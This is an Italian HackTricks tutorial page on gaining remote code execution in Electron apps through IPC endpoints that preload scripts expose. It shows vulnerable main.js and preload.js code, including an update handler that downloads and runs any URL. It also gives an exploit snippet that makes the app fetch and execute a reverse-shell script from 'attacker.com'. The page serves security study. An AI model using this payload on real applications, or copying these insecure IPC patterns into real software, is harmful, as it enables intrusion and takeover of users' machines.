mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
119 lines
5.7 KiB
Markdown
119 lines
5.7 KiB
Markdown
# RCE Electron tramite contextIsolation via IPC
|
|
|
|
<details>
|
|
|
|
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Altri modi per supportare HackTricks:
|
|
|
|
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
Se lo script di caricamento iniziale espone un endpoint IPC dal file main.js, il processo di rendering sarà in grado di accedervi e, se vulnerabile, potrebbe essere possibile un RCE.
|
|
|
|
**La maggior parte di questi esempi sono stati presi da qui** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Controlla il video per ulteriori informazioni.
|
|
|
|
## Esempio 0
|
|
|
|
Esempio da [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (hai l'esempio completo di come MS Teams è stato abusato da XSS a RCE in quelle diapositive, questo è solo un esempio molto basilare):
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
## Esempio 1
|
|
|
|
Controlla come `main.js` ascolta su `getUpdate` e **scaricherà ed eseguirà qualsiasi URL** passato.\
|
|
Controlla anche come `preload.js` **esponga qualsiasi evento IPC** da main.
|
|
```javascript
|
|
// Part of code of main.js
|
|
ipcMain.on('getUpdate', (event, url) => {
|
|
console.log('getUpdate: ' + url)
|
|
mainWindow.webContents.downloadURL(url)
|
|
mainWindow.download_url = url
|
|
});
|
|
|
|
mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
|
|
console.log('downloads path=' + app.getPath('downloads'))
|
|
console.log('mainWindow.download_url=' + mainWindow.download_url);
|
|
url_parts = mainWindow.download_url.split('/')
|
|
filename = url_parts[url_parts.length-1]
|
|
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
|
|
console.log('downloadPath=' + mainWindow.downloadPath)
|
|
// Set the save path, making Electron not to prompt a save dialog.
|
|
item.setSavePath(mainWindow.downloadPath)
|
|
|
|
item.on('updated', (event, state) => {
|
|
if (state === 'interrupted') {
|
|
console.log('Download is interrupted but can be resumed')
|
|
}
|
|
else if (state === 'progressing') {
|
|
if (item.isPaused()) console.log('Download is paused')
|
|
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
|
|
}
|
|
})
|
|
|
|
item.once('done', (event, state) => {
|
|
if (state === 'completed') {
|
|
console.log('Download successful, running update')
|
|
fs.chmodSync(mainWindow.downloadPath, 0755);
|
|
var child = require('child_process').execFile;
|
|
child(mainWindow.downloadPath, function(err, data) {
|
|
if (err) { console.error(err); return; }
|
|
console.log(data.toString());
|
|
});
|
|
}
|
|
else console.log(`Download failed: ${state}`)
|
|
})
|
|
})
|
|
```
|
|
|
|
```javascript
|
|
// Part of code of preload.js
|
|
window.electronSend = (event, data) => {
|
|
ipcRenderer.send(event, data);
|
|
};
|
|
```
|
|
Sfruttare:
|
|
```html
|
|
<script>
|
|
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
|
|
</script>
|
|
```
|
|
## Esempio 2
|
|
|
|
Se lo script di caricamento anticipato espone direttamente al renderer un modo per chiamare `shell.openExternal`, è possibile ottenere l'esecuzione di codice remoto (RCE).
|
|
```javascript
|
|
// Part of preload.js code
|
|
window.electronOpenInBrowser = (url) => {
|
|
shell.openExternal(url);
|
|
};
|
|
```
|
|
## Esempio 3
|
|
|
|
Se lo script di caricamento anticipato espone modi per comunicare completamente con il processo principale, un XSS sarà in grado di inviare qualsiasi evento. L'impatto di ciò dipende da ciò che il processo principale espone in termini di IPC.
|
|
```javascript
|
|
window.electronListen = (event, cb) => {
|
|
ipcRenderer.on(event, cb);
|
|
};
|
|
|
|
window.electronSend = (event, data) => {
|
|
ipcRenderer.send(event, data);
|
|
};
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Altri modi per supportare HackTricks:
|
|
|
|
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|